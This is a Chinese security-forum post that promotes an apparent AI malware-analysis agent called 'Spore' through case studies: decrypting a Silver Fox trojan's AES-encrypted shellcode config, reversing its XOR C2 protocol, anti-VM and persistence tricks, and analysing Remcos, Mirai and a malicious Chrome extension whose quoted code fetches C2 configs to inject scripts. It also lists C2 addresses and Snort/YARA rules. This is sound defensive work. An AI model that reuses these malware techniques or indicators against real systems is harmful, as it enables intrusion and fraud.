首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
逆向工程
发新帖
1
2
[分享][重发]我把样本扔给AI,然后呢?
发表于: 2026-2-26 20:50
2347
[分享][重发]我把样本扔给AI,然后呢?
Sh2ns1e
2026-2-26 20:50
2347
# 我把样本扔给AI,然后呢? 我做了个实验:把一个银狐木马的完整分析材料扔给Spore,看它能做到什么程度。 材料包括: - 主样本libexpat.dll和它的IDA数据库(已经用REAI跑过函数识别) - 加密配置文件box.ini - 虚拟机跑出来的持久化记录 - 三组C2通信数据包 然后Spore开始干活。 --- ## Spore的第一反应:规划任务 收到指令后,Spore没有直接开始乱读文件,而是先列了个计划: ``` 1. [pending] 查看样本目录结构(包括隐藏文件) 2. [pending] 分析恶意软件配置文件 box.ini 3. [pending] 分析持久化记录 4. [pending] 使用 IDA Skill 分析主样本 libexpat.dll.i64 5. [pending] 分析通信内容 6. [pending] 生成综合分析报告 ``` 然后执行`dir /a /s`查看目录结构,确认所有文件都在。  --- ## 第一个坎:加密的box.ini Spore读取box.ini,发现是乱码: ``` ìÕ2·ä«ª¦h?乡ê¯IÅ}wD [..."Íu`2mº¾Vk$ï½ß... ``` 普通AI到这里就卡住了:"这个文件是加密的,我无法分析。" Spore的做法:既然配置文件是加密的,那解密逻辑肯定在主样本里。去IDA数据库里找。 它调用IDA Skill,执行IDAPython脚本,列出所有REAI识别出的函数: ``` 0x739c39b0 AI_VerifyAndDecryptConfigFile 0x739c3fb0 AI_MalwareConfigLoader 0x739c24d0 AI_MalwareSelfInstallAndPersistence ... ``` 看到`AI_VerifyAndDecryptConfigFile`,Spore知道这就是解密函数。反编译它: ```c int __stdcall AI_VerifyAndDecryptConfigFile(LPCWSTR lpFileName, int a2, int a3) { // ... 省略 ... v15[0] = 0xB7567254; // AES Key v15[1] = 0xFA7EC019; v15[2] = 0x9BDD604D; // ... v16[0] = 0xE0EF296D; // IV v16[1] = 0xAC5082E6; // ... CryptDecrypt(hKey, 0, 1, 0, pbData, &pdwDataLen); } ``` 从反编译代码里提取出AES-256-CBC的密钥和IV: ``` Key: 547256b719c07efa4d60dd9b890029aaad26f25fdbbfc1c088d19a551341bc17 IV: 6d29efe0e68250ac5a348af37a0e79bf ``` --- ## Spore自己写解密脚本 提取到密钥后,Spore没有停下来问"接下来怎么办",而是直接写Python解密: ```python from Crypto.Cipher import AES import struct # 从 IDA 提取的 AES 密钥 (小端序转换) key_dwords = [0xB7567254, 0xFA7EC019, 0x9BDD604D, 0xAA290089, 0x5FF226AD, 0xC0C1BFDB, 0x559AD188, 0x17BC4113] key = b''.join(struct.pack('<I', d) for d in key_dwords) iv_dwords = [0xE0EF296D, 0xAC5082E6, 0xF38A345A, 0xBF790E7A] iv = b''.join(struct.pack('<I', d) for d in iv_dwords) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) ``` 执行结果: ``` 加密数据大小: 2416 字节 解密成功,去除 padding 后大小: 2411 字节 前64字节(hex): 558bec81ec800000005333db5657895dc4... ``` `55 8B EC`——这是x86函数序言`push ebp; mov ebp, esp`。box.ini解密后是shellcode。 --- ## 我追问了一句 看到报告里提到box.ini,我问:"box.ini是干嘛的?你搞清了吗" Spore回答: > "从IDA分析结果来看,box.ini是加密的配置文件,由`AI_VerifyAndDecryptConfigFile`函数解密后使用。解密后的内容有两种用途: > 1. 如果是有效的PE文件(检查MZ/PE签名),则通过`AI_MemoryPELoaderAndExecutor`在内存中加载执行 > 2. 如果不是PE但大于10字节,则作为shellcode直接分配可执行内存运行 > > 所以box.ini实际上是加密存储的payload。我可以尝试用提取到的AES密钥解密它,看看里面具体是什么内容。需要我解密吗?" 我说:"做" Spore就把解密后的shellcode扔进IDA分析,得出完整功能: ``` sub_6B6: PEB遍历,查找kernel32.dll (哈希0x1CCA9CE6) sub_730: API哈希解析器 (算法: hash = (char + 131 * hash) & 0x7FFFFFFF) sub_0: 主函数 - 解析API、检测"codemark"字符串、建立C2连接 sub_299: 网络通信函数 (TCP socket) ``` box.ini解密后是初始化shellcode,负责建立C2通道,下载后续payload。 --- ## 第二个坎:通信协议逆向 我又问:"后续通信的三段数据能否对上?三段数据能否进行进一步分析?" Spore开始分析data目录下的通信数据包。 第一组通信:send.bin只有3字节`32 00`,recv.bin有307214字节。 Spore对比recv.bin和已解密的stage2_shellcode_decrypted.bin,发现: ``` 加密: dfa432363663bddab5da2e6560bd470a61bf63c2bd72384eb3f6425bb54a384a 解密: e992040000558bec83ec1853568b713c578955f48b440e7885c0746d837c0e7c XOR差异: 36363636363636363636363636363636... 唯一差异值数量: 1 可能的 XOR key: [54] # 0x36 ``` 通信数据用XOR 0x36加密。协议结构: ``` +--------+----------+------+------------------+ | 4字节 | 8字节 | 2字节| N字节 | | 长度 | 会话ID | 命令 | XOR 0x36加密 | +--------+----------+------+------------------+ ``` 三组通信对应: 1. 发送`32 00`请求 -> 接收307KB的Stage2 PE加载器shellcode 2. 发送16字节初始化 -> 接收配置 -> 发送2643字节系统信息 -> 接收311KB第二个payload 3. 发送5302字节详细系统信息(522条记录) -> 命令执行交互 --- ## 最终报告 整个分析过程,Spore输出了一份完整的报告,包括: **反分析机制**: - 进程检测:sandboxie.exe、x64dbg.exe、VBoxTray.exe、VMwareUser.exe - 调试器检测:IsDebuggerPresent() - 虚拟机检测:MAC地址前缀00:50:56、00:1C:14、00:0C:29 - 硬件检测:内存<4GB或CPU核心<4则退出 **持久化机制**: - 计划任务`\Batteries`,伪装成"System Batteries" - 安装目录`%APPDATA%\trvePath\`(隐藏+系统属性) - 执行路径`XLGame.exe /run` **加密算法**: - 配置文件:AES-256-CBC - 通信协议:XOR 0x36 **C2地址**: - 116.31.102.57:80 - 116.31.102.56:80 - 128.85.113.135:443 - 121.29.13.56:80 **攻击链**: ``` DLL侧加载 -> 环境检测 -> 自我安装 -> 持久化 -> 配置解密 -> C2通信建立 -> Stage2下载 -> Payload执行 -> 远程控制 ```  <a href="elink@c3bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6y4j5h3I4%4j5i4u0W2b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6e0L8r3W2$3k6i4u0r3L8%4S2Q4x3V1k6e0L8r3W2$3k6i4u0r3L8%4R3I4i4K6u0r3L8h3q4D9N6$3q4J5k6g2)9#2k6X3q4F1j5h3I4&6M7$3W2K6i4K6g2X3M7X3g2H3L8%4u0@1i4K6u0W2L8h3b7`.">银狐分析报告</a> --- ## 这个过程说明什么 1. **Spore不是"一键出报告"**。告诉它有什么材料、要做什么。Spore不只是一个安全方向的Agent,他什么都能做。 2. **Spore会自己想办法**。遇到加密文件,它去找解密函数;遇到未知协议,它尝试各种解密方式。 3. **Spore需要你引导**。我问"box.ini是干嘛的",它才深入分析;我问"通信数据能否对上",它才去逆向协议。 4. **整个过程透明**。每一步操作、每一次工具调用、每一个中间结果,你都能看到。 --- ## Spore会翻车吗?会 **复杂混淆扛不住**。VMProtect、Themida这类重度混淆,IDA看不懂的,Spore也看不懂。 **不能替代动态分析**。沙箱行为、内存dump,还是得靠传统工具。(后续接入IDA MCP可实现) --- ## 另一个案例:Remcos RAT流量分析 扔给Spore一个pcap文件,60个数据包。 Spore识别出: - C2通信:192.168.122.104 -> 93.127.160.198:2019(Remcos默认端口) - 心跳间隔:28-30秒 - 协议头:`24 04 ff 00` 从上线包提取系统信息: ``` 恶意软件: EVANGELIST (Remcos RAT) 7.0.3 Pro 受害主机: DESKTOP-RQ8184/Bruno 操作系统: Windows 11 Enterprise (64位) 进程注入: C:\Windows\SysWOW64\SndVol.exe 日志文件: C:\ProgramData\remcos\logs.dat ``` 自动生成检测规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 2019 (msg:"ET TROJAN Remcos RAT Protocol Header Detected"; content:"|24 04 ff 00|"; depth:4; sid:2025120501;) ```  <a href="elink@7efK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6b7j5$3q4H3b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6d9k6h3#2U0L8%4y4b7j5$3q4H3b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6S2L8X3q4D9P5i4y4A6M7#2)9#2k6Y4u0W2M7r3!0J5N6q4)9J5k6h3#2V1">Remcos流量分析报告</a> --- ## 更多案例 ### 银狐变种:Cloudflare Tunnel隐蔽C2 另一个银狐样本,这次用了不同的技术栈。 Spore从虚拟机持久化记录中发现: **恶意服务**: ``` 服务名: cloudflared 路径: C:\ProgramData\Microsoft\System\System.exe 命令: access tcp --hostname http://www.tamei.cyou --url tcp://127.0.0.1:443 ``` 攻击者伪装成Cloudflare官方隧道服务,实际是把C2流量藏在Cloudflare CDN后面。 **恶意进程**: - `System.exe` (PID 10696) - SYSTEM权限,主C2代理 - `WindowsEvent.exe` (PID 2512) - 用户权限,辅助模块 **网络连接**: ``` 192.168.230.128:50203 -> 104.21.2.162:443 (Cloudflare CDN) ``` 真实C2藏在`<mark class="encrypted">359K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8S2L8h3g2A6i4K6u0W2j5%4W2G2N6g2)9$3x3q4!0q4y4g2)9&6x3q4)9^5c8g2!0q4z5g2)9&6c8q4!0m8x3W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4z5g2)9^5x3q4)9&6b7g2!0q4z5q4!0n7c8W2)9^5y4@1y4D9L8%4g2V1k6X3I4S2M7X3f1`.</mark> Tunnel转发,传统IP黑名单完全失效。 <a href="elink@6beK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6y4j5h3I4%4j5i4u0W2b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6e0L8r3W2$3k6i4u0r3L8%4S2Q4x3V1k6e0L8r3W2$3k6i4u0r3L8%4R3J5i4K6u0r3i4K6t1#2c8e0g2Q4x3U0f1^5z5q4)9J5y4e0R3$3i4K6t1#2c8e0k6Q4x3U0f1&6c8g2)9J5y4e0V1H3i4K6t1#2c8e0k6Q4x3U0f1^5b7g2)9J5y4f1p5#2i4K6t1#2c8e0g2Q4x3U0f1&6x3g2)9J5y4e0S2m8i4K6u0W2L8h3b7`.">银狐Cloudflare变种分析</a> --- ### ShadyPanda:400万浏览器感染的Chrome插件 这个案例不是传统恶意软件,而是Chrome插件。 SpeedMaster,一个"网速测试"插件,实际是ShadyPanda活动的一部分——7年感染了400万浏览器。 Spore分析插件目录结构,发现核心恶意文件: ``` background/ ├── fuck.js # 恶意代码加载器(没错,就叫这名) ├── safe_enrypt_wasm.js # WebAssembly加密模块 ├── t.json # 恶意配置 └── bg.js # 网络监控 def/ ├── efg.js # 动态脚本注入器 ├── load_ad.js # 广告注入器 └── load_ad_frame.js # 广告iframe注入器 ``` **C2通信机制**: ```javascript // 每小时从C2下载配置 const t = await fetch("https://api.extensionplay.com/speed_master/t.json?t=" + Date.now()) // 配置格式 { "run_on": "content_scripts", "match": "\\.baidu.com$", "src": "https://static.cdnprod.com/js/baidu.js" } ``` 根据配置,在匹配的网站注入恶意脚本。 **广告欺诈链条**: ``` 伪装功能(speed-test.extfans.com) -> 获取信任 ↓ 监控所有请求 -> 收集浏览数据 ↓ 广告注入(the-news-desk.com) -> 点击欺诈 -> 非法收入 ↓ C2通信(api.extensionplay.com) -> 动态更新 -> 长期驻留 ``` Spore自动生成检测规则: ```yara rule ShadyPanda_SpeedMaster { strings: $c2_domain = "api.extensionplay.com" $malicious_func = "fuck.js" $config_url = "speed_master/t.json" condition: any of them } ``` <a href="elink@f55K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6y4j5h3I4%4j5i4u0W2b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6e0M7r3g2W2k6p5#2S2M7%4c8W2M7W2)9J5c8X3#2S2L8s2N6S2M7X3g2Q4y4h3k6S2L8X3q4D9P5i4y4A6M7#2)9#2k6Y4u0W2M7r3!0J5N6q4)9J5k6h3#2V1">SpeedMaster插件分析</a> --- ### Mirai变种:19个数据包识别僵尸网络 一个只有1661字节的pcap文件,19个数据包。 Spore分析出: **心跳模式**: - 固定20秒间隔(37.68s -> 57.68s -> 77.68s) - Payload大小一致 - 机械式规律性通信 **协议指纹**: - `336699`模式出现6次,协议标识符 - `06756e6b6e6f77`解码为"unknown",隐藏命令标识 **可疑域名**: - DNS查询`netbots.africa` **通信对**: - 192.168.122.100 -> 198.98.59.161:5432 自动生成Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 5432 (msg:"Suspected Zenbox Linux Botnet Communication"; content:"|33 66 99|"; offset:0; depth:3; sid:300001;) alert udp $HOME_NET any -> any 53 (msg:"Suspected Botnet Domain Query - netbots.africa"; content:"netbots.africa"; sid:300002;) ``` 19个数据包,识别出僵尸网络通信模式,生成可部署的检测规则。 <a href="elink@95bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4x3V1k6T1L8r3!0T1i4K6u0r3L8h3q4A6L8W2)9J5c8X3g2^5j5h3#2H3L8r3g2Q4x3V1k6b7j5$3q4H3b7h3&6S2L8s2W2K6K9i4y4Q4x3V1k6y4K9i4u0S2K9g2m8U0j5i4m8m8L8X3q4D9P5i4y4A6M7#2)9J5c8Y4m8U0j5i4m8Q4y4h3k6S2L8X3q4D9P5i4y4A6M7#2)9#2k6X3k6A6L8X3q4D9i4K6g2X3M7X3g2H3L8%4u0@1i4K6u0W2L8h3b7`.">Mirai流量分析</a> --- ## 安全方向哪些师傅适合用Spore - 每天处理大量样本的安全运营团队 - 需要快速出报告的应急响应人员 - 想把重复劳动自动化的逆向工程师 - 对AI感兴趣但不信任黑盒的安全从业者 --- ## 最后 项目地址:{<mark class="encrypted">048K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4y4@1b7`.</mark> Windows一键安装,开箱即用。 银狐和Remcos的完整分析报告在example目录。银狐案例还有完整对话记录(.mem文件),可以在Spore里加载重放,看看整个分析过程是怎么进行的。 有问题:{miunasu@foxmail.com}
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2026-2-26 20:51 被Sh2ns1e编辑 ,原因:
#调试逆向
#病毒木马
收藏
・
1
点赞
・
2
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
我的小拇指啊
为你点赞!
2026-2-27 20:27
新气象
感谢你的贡献,论坛因你而更加精彩!
2026-2-26 21:07
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Sh2ns1e
5
发帖
1
回帖
10
RANK
关注
私信
他的文章
[原创]下一代 Agent 的形态:解放能力,而非限制行动
912
[原创]一个完全隐形的持久化机制--Kong RAT 多阶段攻击链逆向分析
8992
[原创]分析:针对物理隔离网络的NSA级USB摆渡木马
2774
[原创]在个人 PC Windows 不套娃搭建恶意软件沙箱:CAPEv2 VMware Workstation 流畅运行完整实战
3123
[分享][重发]我把样本扔给AI,然后呢?
2347
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部